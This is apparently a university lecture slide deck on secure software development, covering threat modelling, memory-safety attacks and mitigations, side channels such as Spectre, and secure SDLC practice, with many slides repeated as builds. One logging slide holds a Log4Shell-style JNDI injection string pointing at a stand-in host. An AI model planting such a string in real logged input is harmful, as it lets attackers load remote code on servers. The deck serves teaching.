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Establishing authenticity is a part.
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● Security
– Maintaining desired properties in the the presence of adversaries

● CIA Model – classic security properties
– Confidentiality
– Integrity
– Availability

● The “CIA Triad” is sometimes replace with the “Hexad”: [NIST 2001]
– Confidentiality
– Possession
– Integrity
– Authenticity
– Availability
– Utility

If you are not thinking about
what properties to maintain,

you are dancing around security.

https://csrc.nist.gov/publications/detail/sp/800-33/archive/2001-12-01
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Security in Software Development

● Ensuring CIA properties permeates software development tasks
– Requirements, Design, Implementation, Testing, Deployment, Maintenance

● Requires an understanding of
– how attacks may occur and policies for prevention
– how to defend against attacks
– how to recognize attacks
– how to mitigate attacks in progress
– how to adapt & respond to prevent future attacks

● These can be interpreted to extend far beyond software systems 
(spearphishing, physical theft, ...)
– We will focus on software & related security aspects
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Security in Software Development

● Big picture: Security is not Boolean
– You cannot achieve perfect security

“The only truly secure system is one that is powered off, 
cast in a block of concrete and sealed in a lead-lined room 

with armed guards - and even then I have my doubts.”
- Gene Spafford

https://spaf.cerias.purdue.edu/quotes.html
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Security in Software Development

● Big picture: Security is not Boolean
– You cannot achieve perfect security
– You must assess, prioritize, and manage security risks over time

● What do you value?
● What are your CIA liabilities?
● What threatens them?
● Who threatens them & with what power?
● How can you defend against them? Where can you break an attack chain?
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Security in Software Development

● Big picture: Security is not Boolean
– You cannot achieve perfect security
– You must assess, prioritize, and manage security risks over time
– Classically: Risk = E[Loss] = Impact × Probability

Vulnerability    ×    Threat

Action by an adversary,
using a vulnerability to

cause harm

A weakness in a system
that can cause harm
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Remote Serious Medium Medium Low

Improbable Medium Low Low Low
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Catastrophic Critical Moderate Marginal

Frequent High High High Medium

Probable High High Serious Medium

Occasional High Serious Medium Low

Remote Serious Medium Medium Low

Improbable Medium Low Low Low

Security in Software Development

● Big picture: Security is not Boolean
– You cannot achieve perfect security
– You must assess, prioritize, and manage security risks over time
– Classically: Risk = E[Loss] = Impact × Probability

Vulnerability    ×    Threat

Think back to our discussions 
on performance analysis.
Why is this inadequate?

These dangers in assessment 
apply to all good engineering
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– Good risk analysis requires clear identification of all actors in the formula



37

Security in Software Development

● Big picture: Security is not Boolean
– You cannot achieve perfect security
– You must assess, prioritize, and manage security risks over time
– Classically: Risk = E[Loss] = Impact × Probability
– Good risk analysis requires clear identification of all actors in the formula
– Cost-Benefit analysis should guide decisions informed by risk
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Security in Software Development

● What will we cover?
– Common common threats & vulnerabilities

● Data corruption
● Information leaks (& side channels)
● Privilege escalation

– Approaches for finding potential vulnerabilities
● Fuzz testing

– Designing secure software
– Defending against attackers

● Program transformation & hardening
– Reverse engineering & binary analysis



Thinking About
Threats, Vulnerabilities, & Exploits
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Threat Models & the Security Mindset

● Before exploring specific attacks, we must understand security goals
& abstract ways attackers behave

● Security goals come from the CIA triad
– What information should be confidential?
– Who are the authenticated parties?
– What should they be able to access?
– When?
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● Before exploring specific attacks, we must understand security goals
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● Security goals come from the CIA triad
● A threat model defines the potential threats & attack vectors to protect 

against
– Good threat modeling requires a “security mindset”

Consider how things can be made to fail. [Schneier 2008]

https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html
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Threat Models & the Security Mindset

● Before exploring specific attacks, we must understand security goals
& abstract ways attackers behave

● Security goals come from the CIA triad
● A threat model defines the potential threats & attack vectors to protect 

against
– Good threat modeling requires a “security mindset”

Consider how things can be made to fail. [Schneier 2008]
– “[llvm-dev] IMPORTANT NOTICE - Subscription to Mailman lists disabled immediately”

[Lattner 2021] ...
The current Mailman server is being abused by

subscribing valid email addresses to our lists
and because the list requires confirmation,

the email address gets “spam”. 
...

https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html
https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html
https://groups.google.com/forum/#!msg/llvm-dev/1TKg33CNCcA/-H3JlOEpBAAJ
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Threat Models & the Security Mindset

● Before exploring specific attacks, we must understand security goals
& abstract ways attackers behave

● Security goals come from the CIA triad
● A threat model defines the potential threats & attack vectors to protect 

against
– Good threat modeling requires a “security mindset”

Consider how things can be made to fail. [Schneier 2008]

● Several approaches to threat modeling (Diagrams, trees, checklists, ...)

https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html
https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html
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Threat Models & the Security Mindset

● Before exploring specific attacks, we must understand security goals
& abstract ways attackers behave

● Security goals come from the CIA triad
● A threat model defines the potential threats & attack vectors to protect 

against
– Good threat modeling requires a “security mindset”

Consider how things can be made to fail. [Schneier 2008]

● Several approaches to threat modeling (Diagrams, trees, checklists, ...)
– STRIDE:

Spoofing, Tampering, Repudiation, Info leaks, DOS, Escalated privileges

https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html
https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html
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A Simple (Classic) Example

● Consider a paid compilation service
● What threats should we model? (CIA & STRIDE)

Compiler
Service

Clients
bill.txt

Outputs

● spoofing requests
● repudiate requests
● MITM

tamper
leak
block
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Compiler
Service

Clients
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Outputs
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Mallory
HELLO! My name is:
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● Consider a paid compilation service
● What threats should we model? (CIA & STRIDE)

Compiler
Service

Clients
bill.txt
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Mallory
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A Simple (Classic) Example

● Consider a paid compilation service
● What threats should we model? (CIA & STRIDE)

Compiler
Service

Clients
bill.txt

Outputs
Mallory

HELLO! My name is:

“(Foo.c,bill.txt)”

● The service must be allowed to 
update the bill.
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A Simple (Classic) Example

● Consider a paid compilation service
● What threats should we model? (CIA & STRIDE)

Compiler
Service

Clients
bill.txt

Outputs
Mallory

HELLO! My name is:

“(Foo.c,bill.txt)”

● The service must be allowed to
update the bill.

● All requests execute with the
authority of the service!

The service is a confused deputy
● privilege escalation is implicit

Can be addressed with capability based access control

Subjects/
Actors

Objects
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Alice
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Bob
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A Simple (Classic) Example

● Consider a paid compilation service
● What threats should we model? (CIA & STRIDE)

Compiler
Service

Clients
bill.txt

Outputs
Mallory

HELLO! My name is:

“(Foo.c,bill.txt)”

● The service must be allowed to
update the bill.

● All requests execute with the
authority of the service!

The service is a confused deputy
● privilege escalation is implicit

Can be addressed with capability based access control

Subjects/
Actors

Objects

ACL-
Access Control List
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Alice
HELLO! My name is:

Bob
HELLO! My name is:

A Simple (Classic) Example

● Consider a paid compilation service
● What threats should we model? (CIA & STRIDE)

Compiler
Service

Clients
bill.txt

Outputs
Mallory

HELLO! My name is:

“(Foo.c,bill.txt)”

● The service must be allowed to
update the bill.

● All requests execute with the
authority of the service!

The service is a confused deputy
● privilege escalation is implicit

Can be addressed with capability based access control

Subjects/
Actors

Objects

Capability List
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A Simple (Classic) Example

● Consider a paid compilation service
● What threats should we model? (CIA & STRIDE)

Compiler
Service

Clients
bill.txt

Outputs
Mallory

HELLO! My name is:

“(Foo.c,Foo.o)”

● The service must be allowed to
update the bill.

● All requests execute with the
authority of the service!

The service is a confused deputy
● privilege escalation is implicit

Can be addressed with capability based access control

Foo.oc

c
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A Simple (Classic) Example

● Consider a paid compilation service
● What threats should we model? (CIA & STRIDE)

Clients
bill.txt

Outputs
Mallory

HELLO! My name is:

“(Foo.c,Foo.o)”

● The service must be allowed to
update the bill.

● All requests execute with the
authority of the service!

The service is a confused deputy
● privilege escalation is implicit

Can be addressed with capability based access control

Foo.oc

c

Foo.o
c

Compiler
Service
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A Simple (Classic) Example

● Consider a paid compilation service
● What threats should we model? (CIA & STRIDE)

Clients
bill.txt

Outputs
Mallory

HELLO! My name is:

● The service must be allowed to
update the bill.

● All requests execute with the
authority of the service!

The service is a confused deputy
● privilege escalation is implicit

Can be addressed with capability based access control

Foo.oc

“(Foo.c,bill.txt)”

Compiler
Service

Blocked by OS!



81

Alice
HELLO! My name is:

Bob
HELLO! My name is:

A Simple (Classic) Example

● Consider a paid compilation service
● What threats should we model? (CIA & STRIDE)

Compiler
Service

Clients
bill.txt

Outputs
Mallory

HELLO! My name is:

NOTE:
We deal every day with a very 
confused deputy: web browsers

CSRF, Clickjacking, XSS, ...
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Low Level Vulnerabilities

● Within software, bugs can lead to vulnerabilities
– Information leaks
– Data corruption
– Denial of service
– Remote code execution! ... !!
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Low Level Vulnerabilities

● Within software, bugs can lead to vulnerabilities
● Bugs make software vulnerable to attack

– Buffer overflow
– Path replacement
– Integer overflow
– Race conditions (TOCTOU – Time of Check to Time of Use)
– Unsanitized format strings
– ...

All create attack vectors for an adversary.
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Low Level Vulnerabilities

● Within software, bugs can lead to vulnerabilities
● Bugs make software vulnerable to attack

– Buffer overflow
– Path replacement
– Integer overflow
– Race conditions (TOCTOU – Time of Check to Time of Use)
– Unsanitized format strings
– ...

● We will specifically look at issues of memory safety and side channels
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● Unsafe memory accesses are a longstanding vector
– Memory Safety [http://www.pl-enthusiast.net/2014/07/21/memory-safety/]

http://www.pl-enthusiast.net/2014/07/21/memory-safety/
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A chunk of memory is allocated
with a size
for a duration.
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int* oneInt = (int*)malloc(sizeof(int));
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Memory Safety

● Unsafe memory accesses are a longstanding vector
– Memory Safety [http://www.pl-enthusiast.net/2014/07/21/memory-safety/]

A chunk of memory is allocated
with a size
for a duration.

A pointer originating from a chunk may be used to access
memory within the bounds of that chunk (spatial integrity)
during the lifetime of that chunk (temporal integrity)

int* oneInt = (int*)malloc(sizeof(int));
int* twoInt = (int*)malloc(sizeof(int));
*oneInt;
*(oneInt+1);
free(oneInt); int* threeInt = malloc...
*oneInt;

oneInt
twoInt

Heap Memory

threeInt
Tracking origins/provenance forms a capability
model for pointer safety [Hicks 2014]
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Memory Safety

● Unsafe memory accesses are a longstanding vector
– Memory Safety [http://www.pl-enthusiast.net/2014/07/21/memory-safety/]

● Provide common attack patterns [Eternal War in Memory]

Δ Data * Δ Code Δ Code * Δ Data

Code
Corruption

Control Flow
Hijack

Data Only
Attack

Use
Data

Use * in
call/jmp/ret

Read or 
Write

Output
Data

Dangling or
OOB *

Info
Leak

http://www.pl-enthusiast.net/2014/07/21/memory-safety/
https://www.cs.berkeley.edu/~dawnsong/papers/Oakland13-SoK-CR.pdf


  

Code Corruption

● How can we prevent this?

def foo():
  # original code
  ...

def foo():
  # malicious code
  ...

Δ Code



  

Δ Code

Code Corruption

● How can we prevent this?

def foo():
  # original code
  ...

def foo():
  # malicious code
  ...



  

Δ Code

Code Corruption

● How can we prevent this?

def foo():
  # original code
  ...

def foo():
  # malicious code
  ...



  

Δ Code

Code Corruption

● How can we prevent this?
● What problems could this solution create?

(Might you want executable data?)

def foo():
  # original code
  ...

def foo():
  # malicious code
  ...
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  strcpy(buffer, input);
}
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void foo(char *input) {
  unsigned secureData;
  char buffer[16]; 
  strcpy(buffer, input);
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Control Flow Hijacking

● How can we prevent this basic approach?
– Stack Canaries

Previous Frame
Return Address
Old Frame Ptr

secureData
buffer[15]
buffer[14]

...
buffer[0]

Previous Frame
Return Address

Old Frame Ptr
secureData
buffer[15]
buffer[14]

...
buffer[0]

Canary

Abort on return 
because canary 

changed!
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Control Flow Hijacking

● How can we prevent this basic approach?
– Stack Canaries
– DEP – Data Execution Prevention / W X⊕

Previous Frame
Return Address

Old Frame Ptr
secureData
buffer[15]
buffer[14]

...
buffer[0]

Canary

shell code:

Abort because 
W but not X



  

Control Flow Hijacking

● How can we prevent this basic approach?
– Stack Canaries
– DEP – Data Execution Prevention / W X⊕

But these are still 
easily bypassed!
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Return to libc Attacks

● Reuse existing code to bypass W X ⊕
Previous Frame
Return Address
Old Frame Ptr

secureData
buffer[15]
buffer[14]

...
buffer[0]

Fake Argument
Ptr To Function
Old Frame Ptr

secureData
buffer[15]
buffer[14]

...
buffer[0]

system()
“/usr/bin/minesweeper”

Even construct new 
functions piece by piece...

Returning to common 
library code still works.
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ASLR

● Address Space Layout Randomization
– You can't use it if you can't find it!

Stack
Heap

LibC

Program

NCurses Stack
Heap

LibC

Program

NCurses

Run 1 Run 2

But even this is 
“easily” broken

Just leak a pointer first...
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Mitigations

● Several automated mitigations are available
– Approaches for lessening the likelihood & impact of a vulnerability

● How can you prevent the core vulnerabilities we have discussed so far?
– Are there common points you can break? (Point in a kill chain)

● Are there obvious limitations with these techniques?
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Control Flow Integrity

● Restrict indirect control flow to needed targets
– jmp */call */ret

foo = ...
if foo not in [...] abort()
foo(); void a() {

  ...
  ...
  ...
  ...
  ...
  ...
  ...
  ...
}
void b() {
  ...
  ...
  ...
  ...
  ...
  ...
}

...
Ptr To Gadget

...

...

...

...

...
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Control Flow Integrity

● What problem from context sensitivity reappears for returns?

foo();

foo();

void foo() {
  ...
}

Can disambiguate call site/return 
pairs with a shadow stack

1

2

5
9

Shadow Stack
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Control Flow Integrity

● What problem from context sensitivity reappears for returns?

foo();

foo();

void foo() {
  ...
}

clang -fsanitize=cfi -fsanitize=safe-stack
● Even fully precise CFI is porous without shadow stacks!

– In practice, CFI is also approximate
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Approximations in CFI

● Given a jmp*/call*/ret, what are valid targets?
– Coarse static approximations.
– Open up too many opportunities for attack.

● Fully precise CFI
– Include only those edges necessary for the dynamic correctness of the 

program.
– Undecidable in general

● Dispatcher functions are vulnerable functions that can overwrite 
return addresses
– Commonly called, key dispatchers break the utility of plain CFI
– Any function that calls them is an attack surface

(e.g. memcpy)



    

memcpy

Exploit

system

Carlini 2015
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What Does CFI+Shadow Stacks Give?

● No longer able to do ROP
● Worse: printf alone provides a Turing complete attack surface.

Data only / non-control data attacks are reasonable.



  

The trend going forward

[Matt Miller – BlueHat 2019]

https://github.com/Microsoft/MSRC-Security-Research/blob/master/presentations/2019_02_BlueHatIL/2019_01%20-%20BlueHatIL%20-%20Trends%2C%20challenge%2C%20and%20shifts%20in%20software%20vulnerability%20mitigation.pdf
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Side Channels

● What we have considered so far deals with directly
reading, writing, or executing

something in violation of the CIA policies
● Attackers may also indirectly violate CIA by inferring sensitive 

information
● Side channel attacks infer secret information about a system from 

implementation details
– Such leaks can be present even for algorithms that appear mathematically 

correct
– Leaks can come from several sources:

(output, timing, power, sound, light, ...)
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def very_stupid(greeting, sensitive):

...
log_to_nonsensitive(sensitive)
...
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From direct leak to naive side channel

● Consider code that directly leaks a sensitive boolean

– This could be tweaked to become an indirect leak

– The value of the sensitive information can be inferred by
the existence of the nonsensitive information!

def very_stupid(greeting, sensitive):
...
log_to_nonsensitive(sensitive)
...

def still_bad(greeting, sensitive):
...
if sensitive:

log_to_nonsensitive(greeting)
...
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Side channels via timing

● Any difference in behavior between sensitive and nonsensitive tasks 
can be measured and used

def subtly_bad(greeting, sensitive):
...
if sensitive:

expensive_computation()
log_to_nonsensitive(greeting)
...

This has been the downfall of
crypto implementations!



  

Side channels via timing

● Any difference in behavior between sensitive and nonsensitive tasks 
can be measured and used

def subtly_bad(greeting, sensitive):
...
if sensitive:

expensive_computation()
log_to_nonsensitive(greeting)
...

def deviously_bad(greeting, sensitive):
...
if sensitive:

a[not_in_cache] = ...
log_to_nonsensitive(greeting)
...
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● We can use memory access latency to leak rich information

secret_number = ...
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This code can leak the secret number
even to other processes!

Cache

memset(any_buffer,0,...);
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secret = slowest of i

hash(buffer+64*secret)

hash(buffer+64*6)

hash(buffer+64*3)

hash(buffer+64*4)
hash(buffer+64*5)
hash(buffer+64*2)

hash(buffer+64*1)fast
slow
fast



  

Side channels from architectural effects

● We can use memory access latency to leak rich information

secret_number = ...
... = buffer[64 * secret_number]

This code can leak the secret number
even to other processes!

Cache

memset(any_buffer,0,...);

for i in ...:
   measure:
     ... = any_buffer[i*64]
secret = slowest of i

hash(buffer+64*secret)

hash(buffer+64*6)

hash(buffer+64*3)

hash(buffer+64*4)
hash(buffer+64*5)
hash(buffer+64*2)

hash(buffer+64*1)fast
slow
fast
fast
fast
fast



  
hash(buffer+64*2)

hash(buffer+64*1)

Side channels from architectural effects

● We can use memory access latency to leak rich information

secret_number = ...
... = buffer[64 * secret_number]

This code can leak the secret number
even to other processes!

Cache

memset(any_buffer,0,...);

for i in ...:
   measure:
     ... = any_buffer[i*64]
secret = slowest of i

hash(buffer+64*secret)

hash(buffer+64*6)

hash(buffer+64*3)

hash(buffer+64*4)
hash(buffer+64*5)

fast
slow
fast
fast
fast
fast

The secret was 3



  

Side channels from architectural effects

● We can use memory access latency to leak rich information

secret_number = ...
... = buffer[64 * secret_number]

memset(any_buffer,0,...);

for i in ...:
   measure:
     ... = any_buffer[i*64]
secret = slowest of i

For a long time, this was considered a low risk,
because gadgets like this were hard to find & exploit.
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Side channels from architectural effects

● This is the fundamental premise behind Spectre and generic MDS 
based attacks
– Spectre worked by mistraining speculation &

then measuring timing differences

...
if condition():
   work()

true true true

If the CPU notices that condition() is usually true,
it can start work() before condition() completes.

Speculation & Out Of Order execution (OOO)
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● This is the fundamental premise behind Spectre and generic MDS 
based attacks
– Spectre worked by mistraining speculation &

then measuring timing differences
if x < array1.size:
   sensitive = array1[x]

y = array2[sensitive * 4096]
When the condition is true,
array1[x] will be in bounds

When the condition is false,
array1[x] can be anywhere

An attacker can
1) train the branch to speculate true
2) make array1[x] point to sensitive data

The sensitive data is
speculatively read and used!



  

Side channels from architectural effects

● This is the fundamental premise behind Spectre and generic MDS 
based attacks
– Spectre worked by mistraining speculation &

then measuring timing differences
if x < array1.size:
   sensitive = array1[x]

y = array2[sensitive * 4096]
When the condition is true,
array1[x] will be in bounds

When the condition is false,
array1[x] can be anywhere

An attacker can
1) train the branch to speculate true
2) make array1[x] point to sensitive data
3) extract the data through a 1-hot encoding

in the time to access elements of array2
(or a buffer sharing the cache mapping of array2)



  

Side channels from architectural effects

● This is the fundamental premise behind Spectre and generic MDS 
based attacks
– Spectre worked by mistraining speculation &

then measuring timing differences
if x < array1.size:
   sensitive = array1[x]

y = array2[sensitive * 4096]
# foo is a function pointer
foo()

Foo can be trained to speculate to an arbitrary gadget!



  

Side channels from architectural effects

● This is the fundamental premise behind Spectre and generic MDS 
based attacks
– Spectre worked by mistraining speculation &

then measuring timing differences
if x < array1.size:
   sensitive = array1[x]

y = array2[sensitive * 4096]
# foo is a function pointer
foo()

def foo():
return

Return targets can be trained to speculate to gadgets!



  

Side channels from architectural effects

● This is the fundamental premise behind Spectre and generic MDS 
based attacks
– Spectre worked by mistraining speculation &

then measuring timing differences
if x < array1.size:
   sensitive = array1[x]

y = array2[sensitive * 4096]
# foo is a function pointer
foo()

def foo():
return

[Speculative Load Hardening in LLVM] clang -mretpoline -mspeculative-load-hardening ...

Note: This means that ROP gadgets can once again be used!
Newer compiler options can mitigate but not remove the challenge

https://llvm.org/docs/SpeculativeLoadHardening.html


  

def foo():
return

Side channels from architectural effects

● This is the fundamental premise behind Spectre and generic MDS 
based attacks
– Spectre worked by mistraining speculation &

then measuring timing differences

– MDS attacks leverage other CPU artifacts to achieve similar goals
(line buffers, ports, etc.)

● Contention on any resource affects timing

if x < array1.size:
   sensitive = array1[x]

y = array2[sensitive * 4096]
# foo is a function pointer
foo()



  

def foo():
return

Side channels from architectural effects

● This is the fundamental premise behind Spectre and generic MDS 
based attacks
– Spectre worked by mistraining speculation &

then measuring timing differences

– MDS attacks leverage other CPU artifacts to achieve similar goals
(line buffers, ports, etc.)

● Contention on any resource affects timing

if x < array1.size:
   sensitive = array1[x]

y = array2[sensitive * 4096]
# foo is a function pointer
foo()

It is even possible to create robust SSH channels
that communicate only through architectural effects.
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Keeping a security mindset

● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)

def handle_post(input1, value):
  some_map[input1] = value
some_map

value1

value2

value3

https://cwe.mitre.org/data/definitions/407.html
https://www.usenix.org/conference/12th-usenix-security-symposium/denial-service-algorithmic-complexity-attacks


  

Keeping a security mindset

● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)

def handle_post(input1, value):
  some_map[input1] = value

This was a pervasive DOS
in web app backends!

https://cwe.mitre.org/data/definitions/407.html
https://www.usenix.org/conference/12th-usenix-security-symposium/denial-service-algorithmic-complexity-attacks
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Keeping a security mindset

● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)
– Unbounded recursion [CWE 674] STRIDE

def foo(state):
  ...
  if c(state):
    foo(state’)
  ...

https://cwe.mitre.org/data/definitions/407.html
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Keeping a security mindset

● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)
– Unbounded recursion [CWE 674] STRIDE

def foo(state):
  ...
  if c(state):
    foo(state’)
  ...

Unbounded iteration is also problematic.
Why may unbounded recursion be worse?

https://cwe.mitre.org/data/definitions/407.html
https://www.usenix.org/conference/12th-usenix-security-symposium/denial-service-algorithmic-complexity-attacks
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Keeping a security mindset

● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)
– Unbounded recursion [CWE 674] STRIDE
– Buffer scrubbing [CWE 212, CWE 674] STRIDE (data remanence)
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Keeping a security mindset

● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)
– Unbounded recursion [CWE 674] STRIDE
– Buffer scrubbing [CWE 212, CWE 674] STRIDE (data remanence)

char* password = malloc(PASSWORD_SIZE);
...
free(password);

This creates a security vulnerability!
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● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)
– Unbounded recursion [CWE 674] STRIDE
– Buffer scrubbing [CWE 212, CWE 674] STRIDE (data remanence)

char* password = malloc(PASSWORD_SIZE);
...
memset(password, 0, PASSWORD_SIZE);
free(password);
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Keeping a security mindset

● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)
– Unbounded recursion [CWE 674] STRIDE
– Buffer scrubbing [CWE 212, CWE 674] STRIDE (data remanence)

char* password = malloc(PASSWORD_SIZE);
...
memset(password, 0, PASSWORD_SIZE);
free(password);

A compiler will automatically remove the scrubbing!
You must understand your language to mitigate threats.

[Yang 2017]

https://cwe.mitre.org/data/definitions/407.html
https://www.usenix.org/conference/12th-usenix-security-symposium/denial-service-algorithmic-complexity-attacks
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https://cwe.mitre.org/data/definitions/212.html
https://cwe.mitre.org/data/definitions/226.html
https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/yang
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● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)
– Unbounded recursion [CWE 674] STRIDE
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– Unbounded recursion [CWE 674] STRIDE
– Buffer scrubbing [CWE 212, CWE 674] STRIDE (data remanence)
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https://cwe.mitre.org/data/definitions/407.html
https://www.usenix.org/conference/12th-usenix-security-symposium/denial-service-algorithmic-complexity-attacks
https://cwe.mitre.org/data/definitions/674.html
https://cwe.mitre.org/data/definitions/212.html
https://cwe.mitre.org/data/definitions/226.html
https://cwe.mitre.org/data/definitions/117.html
https://cwe.mitre.org/data/definitions/917.html


  

Keeping a security mindset

● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)
– Unbounded recursion [CWE 674] STRIDE
– Buffer scrubbing [CWE 212, CWE 674] STRIDE (data remanence)
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Keeping a security mindset

● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)
– Unbounded recursion [CWE 674] STRIDE
– Buffer scrubbing [CWE 212, CWE 674] STRIDE (data remanence)
– Logging [CWE 117, CWE 917] STRIDE

Logger.info(prefix + value)

value = “${jndi:ldap://malicious.com/target}”

malicious.com
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Keeping a security mindset

● Much of what you have seen while learning to program is vulnerable
– Understanding your risks & threat model can guide your judgment

● Apparently benign behaviors can be risky
– Hash table collision [CWE 407] STRIDE (algorithmic complexity attacks)
– Unbounded recursion [CWE 674] STRIDE
– Buffer scrubbing [CWE 212, CWE 674] STRIDE (data remanence)
– Logging [CWE 117, CWE 917] STRIDE
– ...

● These have bitten experienced developers & library implementors for
across C, C++, Java, Javascript, .NET, Perl, PHP, Python, Ruby, ...

– You may think they are too low level to affect you, but they do.

https://cwe.mitre.org/data/definitions/407.html
https://www.usenix.org/conference/12th-usenix-security-symposium/denial-service-algorithmic-complexity-attacks
https://cwe.mitre.org/data/definitions/674.html
https://cwe.mitre.org/data/definitions/212.html
https://cwe.mitre.org/data/definitions/226.html
https://cwe.mitre.org/data/definitions/117.html
https://cwe.mitre.org/data/definitions/917.html
https://bugs.python.org/issue13703
https://www.ruby-lang.org/en/news/2011/12/28/denial-of-service-attack-was-found-for-rubys-hash-algorithm-cve-2011-4815/
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Integrating Security into Development

● Managing security issues requires considering
– Prevention
– Mitigation
– Detection & Response

● Managing security within the development process is challenging
– Often poorly incentivized
– Many do not possess required knowledge
– Ownership of the problem is passed around
– Many teams assume it does not even matter

● Having a plan and controls for following it makes a significant difference
– Analogous to pointing-and-calling for public safety

Countermeasures
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Integrating Security into Development

● We have classic guidelines for secure design [Saltzer and Schroeder 1975]
more recently we have guidelines for secure process
– Microsoft’s SDL
– OWASP
– BSIMM

● Each approach provides recommendations for actions and feedback 
within the SDLC

We will explicitly consider process then design.
There is some redundancy.

http://web.mit.edu/Saltzer/www/publications/protection/


  

Managing Security in the SDLC
● Common elements of SDL, OWASP, & BSIMM have been grouped 

into: [Assal & Chiasson, 2018]
1) Identify security requirements (from legal, financial, & contractual)
2) Design for security (more in a moment)
3) Perform threat modelling
4) Adopt secure coding standards
5) Use approved tools & analyze third party tools
6) Include security in testing
7) Perform code analysis
8) Perform code review for security
9) Perform post-development testing
10)Apply defense in depth
11)Treat security as a shared responsibility
12)Apply security to all applications

https://www.usenix.org/system/files/conference/soups2018/soups2018-assal.pdf
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1) Identify security requirements (from legal, financial, & contractual)
2) Design for security (more in a moment)
3) Perform threat modelling
4) Adopt secure coding standards
5) Use approved tools & analyze third party tools
6) Include security in testing
7) Perform code analysis
8) Perform code review for security
9) Perform post-development testing
10)Apply defense in depth
11)Treat security as a shared responsibility
12)Apply security to all applications

Use systems like STRIDE to understand
how threats affect your requirements

https://www.usenix.org/system/files/conference/soups2018/soups2018-assal.pdf


  

Managing Security in the SDLC
● Common elements of SDL, OWASP, & BSIMM have been grouped 

into: [Assal & Chiasson, 2018]
1) Identify security requirements (from legal, financial, & contractual)
2) Design for security (more in a moment)
3) Perform threat modelling
4) Adopt secure coding standards
5) Use approved tools & analyze third party tools
6) Include security in testing
7) Perform code analysis
8) Perform code review for security
9) Perform post-development testing
10)Apply defense in depth
11)Treat security as a shared responsibility
12)Apply security to all applications

Do you avoid unbounded recursion?
“      ”       unsafe buffer management?
“      ”       unsanitized inputs?                

...

https://www.usenix.org/system/files/conference/soups2018/soups2018-assal.pdf
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1) Identify security requirements (from legal, financial, & contractual)
2) Design for security (more in a moment)
3) Perform threat modelling
4) Adopt secure coding standards
5) Use approved tools & analyze third party tools
6) Include security in testing
7) Perform code analysis
8) Perform code review for security
9) Perform post-development testing
10)Apply defense in depth
11)Treat security as a shared responsibility
12)Apply security to all applications

Some forms of testing target security:
pentesting, red teaming
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Managing Security in the SDLC
● Common elements of SDL, OWASP, & BSIMM have been grouped 

into: [Assal & Chiasson, 2018]
1) Identify security requirements (from legal, financial, & contractual)
2) Design for security (more in a moment)
3) Perform threat modelling
4) Adopt secure coding standards
5) Use approved tools & analyze third party tools
6) Include security in testing
7) Perform code analysis
8) Perform code review for security
9) Perform post-development testing
10)Apply defense in depth
11)Treat security as a shared responsibility
12)Apply security to all applications

Are you using good
static & dynamic analysis?

Do you understand their
risks & limitations?

Can you use
formal verification?

https://www.usenix.org/system/files/conference/soups2018/soups2018-assal.pdf
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Managing Security in the SDLC
● Common elements of SDL, OWASP, & BSIMM have been grouped 

into: [Assal & Chiasson, 2018]
1) Identify security requirements (from legal, financial, & contractual)
2) Design for security (more in a moment)
3) Perform threat modelling
4) Adopt secure coding standards
5) Use approved tools & analyze third party tools
6) Include security in testing
7) Perform code analysis
8) Perform code review for security
9) Perform post-development testing
10)Apply defense in depth
11)Treat security as a shared responsibility
12)Apply security to all applications

These actions are the core components
of a secure software process.

The should be
planned for,
applied, and
checked

https://www.usenix.org/system/files/conference/soups2018/soups2018-assal.pdf
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Managing Security in the SDLC

● Why do teams succeed or fail? [Assal & Chiasson, 2018]
1) Division of labour
2) Security knowledge
3) Company culture
4) Resource availability
5) External pressure
6) Experiencing failure and learning

Notice the social connections in many cases.

You may need to apply soft skills to change 
your company.

https://www.usenix.org/system/files/conference/soups2018/soups2018-assal.pdf
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Designing for Security

● Half of security issues are design problems. [McGraw 2006]

● Secure designs manage threats to CIA properties.
– Threat modeling needs to be one of the first steps as in SDLC guidelines

– Too weak – you won’t defend against the threats you need to
– Too strong – you’ll waste resources defending against phantoms
– Define realistic threat models (e.g. using STRIDE or more recent approaches)
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● Key principles from Saltzer & Schroeder
– Economy of mechanism – keep things simple for easy inspection
– Fail safe defaults – require permission rather than exclusion
– Complete mediation – every access of every object should check authority
– Open design – no security through obscurity
– Separation of privilege – different conditions for different rights (check all)
– Least privilege – each actor should have fewest privileges necessary for a job
– Least common mechanism – avoid shared mechanisms (single PoF & channel)
– Psychological acceptability – make policies that people will use



  

